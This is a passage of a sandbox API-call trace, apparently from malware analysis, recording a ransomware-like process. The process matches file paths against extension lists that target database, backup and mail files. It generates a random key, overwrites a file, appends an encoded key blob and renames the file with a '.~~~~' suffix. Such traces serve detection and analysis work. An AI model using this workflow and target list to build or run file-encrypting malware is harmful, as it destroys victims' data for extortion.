	[0086.400] lstrlenW (lpString=".msc") returned 4
	[0086.400] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.ELM", lpSrch=".msc") returned 0x0
	[0086.400] lstrlenW (lpString=".com") returned 4
	[0086.400] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.ELM", lpSrch=".com") returned 0x0
	[0086.400] lstrlenW (lpString=".lnk") returned 4
	[0086.400] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.ELM", lpSrch=".lnk") returned 0x0
	[0086.400] lstrlenW (lpString=".msp") returned 4
	[0086.400] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.ELM", lpSrch=".msp") returned 0x0
	[0086.400] lstrlenW (lpString=".pif") returned 4
	[0086.400] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.ELM", lpSrch=".pif") returned 0x0
	[0086.400] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0086.400] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.ELM", lpSrch="msp\r\n.pif") returned 0x0
	[0086.400] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\spring.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128
	[0086.422] lstrlenW (lpString=".sqb") returned 4
	[0086.422] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.ELM", lpSrch=".sqb") returned 0x0
	[0086.422] lstrlenW (lpString=".ost") returned 4
	[0086.422] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.ELM", lpSrch=".ost") returned 0x0
	[0086.422] lstrlenW (lpString=".txt") returned 4
	[0086.422] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.ELM", lpSrch=".txt") returned 0x0
	[0086.422] lstrlenW (lpString=".mdt") returned 4
	[0086.422] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.ELM", lpSrch=".mdt") returned 0x0
	[0086.422] lstrlenW (lpString=".BDB") returned 4
	[0086.423] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.ELM", lpSrch=".BDB") returned 0x0
	[0086.423] lstrlenW (lpString=".eql") returned 4
	[0086.423] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.ELM", lpSrch=".eql") returned 0x0
	[0086.423] lstrlenW (lpString=".DBF") returned 4
	[0086.423] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.ELM", lpSrch=".DBF") returned 0x0
	[0086.423] lstrlenW (lpString=".EQL") returned 4
	[0086.423] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.ELM", lpSrch=".EQL") returned 0x0
	[0086.423] lstrlenW (lpString=".FDB") returned 4
	[0086.423] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.ELM", lpSrch=".FDB") returned 0x0
	[0086.423] lstrlenW (lpString=".EDB") returned 4
	[0086.423] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.ELM", lpSrch=".EDB") returned 0x0
	[0086.423] lstrlenW (lpString=".DACPAC") returned 7
	[0086.423] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.ELM", lpSrch=".DACPAC") returned 0x0
	[0086.423] lstrlenW (lpString=".VHD") returned 4
	[0086.423] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.ELM", lpSrch=".VHD") returned 0x0
	[0086.423] lstrlenW (lpString=".DBV") returned 4
	[0086.423] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.ELM", lpSrch=".DBV") returned 0x0
	[0086.423] lstrlenW (lpString=".dacpac") returned 7
	[0086.423] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.ELM", lpSrch=".dacpac") returned 0x0
	[0086.423] lstrlenW (lpString=".sdf") returned 4
	[0086.423] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.ELM", lpSrch=".sdf") returned 0x0
	[0086.423] lstrlenW (lpString=".accdb") returned 6
	[0086.423] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.ELM", lpSrch=".accdb") returned 0x0
	[0086.423] lstrlenW (lpString=".DBX") returned 4
	[0086.423] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.ELM", lpSrch=".DBX") returned 0x0
	[0086.424] lstrlenW (lpString=".MDT") returned 4
	[0086.424] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.ELM", lpSrch=".MDT") returned 0x0
	[0086.424] lstrlenW (lpString=".SQB") returned 4
	[0086.424] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.ELM", lpSrch=".SQB") returned 0x0
	[0086.424] lstrlenW (lpString=".vhd") returned 4
	[0086.424] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.ELM", lpSrch=".vhd") returned 0x0
	[0086.424] lstrlenW (lpString=".bac") returned 4
	[0086.424] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.ELM", lpSrch=".bac") returned 0x0
	[0086.424] lstrlenW (lpString=".mdf") returned 4
	[0086.424] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.ELM", lpSrch=".mdf") returned 0x0
	[0086.424] lstrlenW (lpString=".BAK") returned 4
	[0086.424] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.ELM", lpSrch=".BAK") returned 0x0
	[0086.424] lstrlenW (lpString=".BAC") returned 4
	[0086.424] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.ELM", lpSrch=".BAC") returned 0x0
	[0086.424] lstrlenW (lpString=".dbs") returned 4
	[0086.424] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.ELM", lpSrch=".dbs") returned 0x0
	[0086.424] lstrlenW (lpString=".vhdx") returned 5
	[0086.424] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.ELM", lpSrch=".vhdx") returned 0x0
	[0086.424] lstrlenW (lpString=".NDF") returned 4
	[0086.424] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.ELM", lpSrch=".NDF") returned 0x0
	[0086.424] lstrlenW (lpString=".dat") returned 4
	[0086.424] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.ELM", lpSrch=".dat") returned 0x0
	[0086.424] lstrlenW (lpString=".DBS") returned 4
	[0086.424] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.ELM", lpSrch=".DBS") returned 0x0
	[0086.424] lstrlenW (lpString=".CKP") returned 4
	[0086.425] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.ELM", lpSrch=".CKP") returned 0x0
	[0086.425] lstrlenW (lpString=".edb") returned 4
	[0086.425] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.ELM", lpSrch=".edb") returned 0x0
	[0086.425] lstrlenW (lpString=".PST") returned 4
	[0086.425] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.ELM", lpSrch=".PST") returned 0x0
	[0086.425] lstrlenW (lpString=".dbf") returned 4
	[0086.425] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.ELM", lpSrch=".dbf") returned 0x0
	[0086.425] lstrlenW (lpString=".SQL") returned 4
	[0086.425] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.ELM", lpSrch=".SQL") returned 0x0
	[0086.425] lstrlenW (lpString=".pst") returned 4
	[0086.425] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.ELM", lpSrch=".pst") returned 0x0
	[0086.425] lstrlenW (lpString=".dbv") returned 4
	[0086.425] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.ELM", lpSrch=".dbv") returned 0x0
	[0086.425] lstrlenW (lpString=".SDF") returned 4
	[0086.425] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.ELM", lpSrch=".SDF") returned 0x0
	[0086.425] lstrlenW (lpString=".dtxs") returned 5
	[0086.425] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.ELM", lpSrch=".dtxs") returned 0x0
	[0086.425] lstrlenW (lpString=".db3") returned 4
	[0086.425] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.ELM", lpSrch=".db3") returned 0x0
	[0086.425] lstrlenW (lpString=".OST") returned 4
	[0086.425] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.ELM", lpSrch=".OST") returned 0x0
	[0086.425] lstrlenW (lpString=".dbx") returned 4
	[0086.425] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.ELM", lpSrch=".dbx") returned 0x0
	[0086.425] lstrlenW (lpString=".DB3") returned 4
	[0086.425] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.ELM", lpSrch=".DB3") returned 0x0
	[0086.426] lstrlenW (lpString=".DAT") returned 4
	[0086.426] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.ELM", lpSrch=".DAT") returned 0x0
	[0086.426] lstrlenW (lpString=".VHDX") returned 5
	[0086.426] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.ELM", lpSrch=".VHDX") returned 0x0
	[0086.426] lstrlenW (lpString=".ndf") returned 4
	[0086.426] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.ELM", lpSrch=".ndf") returned 0x0
	[0086.426] lstrlenW (lpString=".DB") returned 3
	[0086.426] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.ELM", lpSrch=".DB") returned 0x0
	[0086.426] lstrlenW (lpString=".sql") returned 4
	[0086.426] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.ELM", lpSrch=".sql") returned 0x0
	[0086.426] lstrlenW (lpString=".MYD") returned 4
	[0086.426] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.ELM", lpSrch=".MYD") returned 0x0
	[0086.426] lstrlenW (lpString=".DBT") returned 4
	[0086.426] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.ELM", lpSrch=".DBT") returned 0x0
	[0086.426] lstrlenW (lpString=".ACCDB") returned 6
	[0086.426] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.ELM", lpSrch=".ACCDB") returned 0x0
	[0086.426] lstrlenW (lpString=".fdb") returned 4
	[0086.426] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.ELM", lpSrch=".fdb") returned 0x0
	[0086.426] lstrlenW (lpString=".bak") returned 4
	[0086.426] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.ELM", lpSrch=".bak") returned 0x0
	[0086.426] lstrlenW (lpString=".myd") returned 4
	[0086.426] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.ELM", lpSrch=".myd") returned 0x0
	[0086.426] lstrlenW (lpString=".DTXS") returned 5
	[0086.426] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.ELM", lpSrch=".DTXS") returned 0x0
	[0086.426] lstrlenW (lpString=".ckp") returned 4
	[0086.427] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.ELM", lpSrch=".ckp") returned 0x0
	[0086.427] lstrlenW (lpString=".dbt") returned 4
	[0086.427] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.ELM", lpSrch=".dbt") returned 0x0
	[0086.427] lstrlenW (lpString=".db") returned 3
	[0086.427] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.ELM", lpSrch=".db") returned 0x0
	[0086.427] lstrlenW (lpString=".TXT") returned 4
	[0086.427] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.ELM", lpSrch=".TXT") returned 0x0
	[0086.427] lstrlenW (lpString=".MDF") returned 4
	[0086.427] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.ELM", lpSrch=".MDF") returned 0x0
	[0086.427] lstrlenW (lpString=".bdb") returned 4
	[0086.427] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.ELM", lpSrch=".bdb") returned 0x0
	[0086.427] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0086.427] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.ELM", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0086.427] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804338
	[0086.427] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0086.427] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x39fe28) returned 1
	[0086.428] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0086.428] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0086.428] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0086.428] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0086.428] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x380730
	[0086.428] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=20641971456) returned 1
	[0086.430] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0x9d517790, dwHighDateTime=0x1d60e1e)) 
	[0086.430] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0086.430] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0086.430] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0086.430] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2809130
	[0086.430] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0086.430] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2809130 | out: hHeap=0x300000) returned 1
	[0086.430] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0086.430] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0086.430] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3baf88
	[0086.430] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0086.430] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0086.430] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3baf88 | out: hHeap=0x300000) returned 1
	[0086.430] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0086.430] GetLastError () returned 0x0
	[0086.431] GetLastError () returned 0x0
	[0086.431] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0086.431] GetLastError () returned 0x0
	[0086.431] GetLastError () returned 0x0
	[0086.449] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xfffef50f, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0086.449] WriteFile (in: hFile=0x128, lpBuffer=0x280dfd0*, nNumberOfBytesToWrite=0x10af1, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x280dfd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x10af1, lpOverlapped=0x0) returned 1
	[0086.449] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280dfd0 | out: hHeap=0x300000) returned 1
	[0086.452] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.452] WriteFile (in: hFile=0x128, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0086.452] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0086.452] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0086.452] CloseHandle (hObject=0x128) returned 1
	[0086.452] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f5838
	[0086.452] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\spring.elm"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.ELM.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\spring.elm.~~~~")) returned 1
	[0086.453] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f5838 | out: hHeap=0x300000) returned 1
	[0086.453] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0086.453] GetLastError () returned 0x0
	[0086.454] lstrlenW (lpString=".sqb") returned 4
	[0086.454] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF", lpSrch=".sqb") returned 0x0
	[0086.454] lstrlenW (lpString=".ost") returned 4
	[0086.454] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF", lpSrch=".ost") returned 0x0
	[0086.454] lstrlenW (lpString=".txt") returned 4
	[0086.454] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF", lpSrch=".txt") returned 0x0
	[0086.454] lstrlenW (lpString=".mdt") returned 4
	[0086.454] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF", lpSrch=".mdt") returned 0x0
	[0086.454] lstrlenW (lpString=".BDB") returned 4
	[0086.454] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF", lpSrch=".BDB") returned 0x0
	[0086.454] lstrlenW (lpString=".eql") returned 4
	[0086.454] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF", lpSrch=".eql") returned 0x0
	[0086.454] lstrlenW (lpString=".DBF") returned 4
	[0086.455] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF", lpSrch=".DBF") returned 0x0
	[0086.455] lstrlenW (lpString=".EQL") returned 4
	[0086.455] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF", lpSrch=".EQL") returned 0x0
	[0086.455] lstrlenW (lpString=".FDB") returned 4
	[0086.455] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF", lpSrch=".FDB") returned 0x0
	[0086.455] lstrlenW (lpString=".EDB") returned 4
	[0086.455] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF", lpSrch=".EDB") returned 0x0
	[0086.455] lstrlenW (lpString=".DACPAC") returned 7
	[0086.455] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF", lpSrch=".DACPAC") returned 0x0
	[0086.455] lstrlenW (lpString=".VHD") returned 4
	[0086.455] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF", lpSrch=".VHD") returned 0x0
	[0086.455] lstrlenW (lpString=".DBV") returned 4
	[0086.455] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF", lpSrch=".DBV") returned 0x0
	[0086.455] lstrlenW (lpString=".dacpac") returned 7
	[0086.455] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF", lpSrch=".dacpac") returned 0x0
	[0086.455] lstrlenW (lpString=".sdf") returned 4
	[0086.455] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF", lpSrch=".sdf") returned 0x0
	[0086.455] lstrlenW (lpString=".accdb") returned 6
	[0086.455] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF", lpSrch=".accdb") returned 0x0
	[0086.455] lstrlenW (lpString=".DBX") returned 4
	[0086.455] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF", lpSrch=".DBX") returned 0x0
	[0086.455] lstrlenW (lpString=".MDT") returned 4
	[0086.456] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF", lpSrch=".MDT") returned 0x0
	[0086.456] lstrlenW (lpString=".SQB") returned 4
	[0086.456] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF", lpSrch=".SQB") returned 0x0
	[0086.456] lstrlenW (lpString=".vhd") returned 4
	[0086.456] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF", lpSrch=".vhd") returned 0x0
	[0086.456] lstrlenW (lpString=".bac") returned 4
	[0086.456] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF", lpSrch=".bac") returned 0x0
	[0086.456] lstrlenW (lpString=".mdf") returned 4
	[0086.456] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF", lpSrch=".mdf") returned 0x0
	[0086.456] lstrlenW (lpString=".BAK") returned 4
	[0086.456] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF", lpSrch=".BAK") returned 0x0
	[0086.456] lstrlenW (lpString=".BAC") returned 4
	[0086.456] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF", lpSrch=".BAC") returned 0x0
	[0086.456] lstrlenW (lpString=".dbs") returned 4
	[0086.456] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF", lpSrch=".dbs") returned 0x0
	[0086.456] lstrlenW (lpString=".vhdx") returned 5
	[0086.456] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF", lpSrch=".vhdx") returned 0x0
	[0086.456] lstrlenW (lpString=".NDF") returned 4
	[0086.456] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF", lpSrch=".NDF") returned 0x0
	[0086.456] lstrlenW (lpString=".dat") returned 4
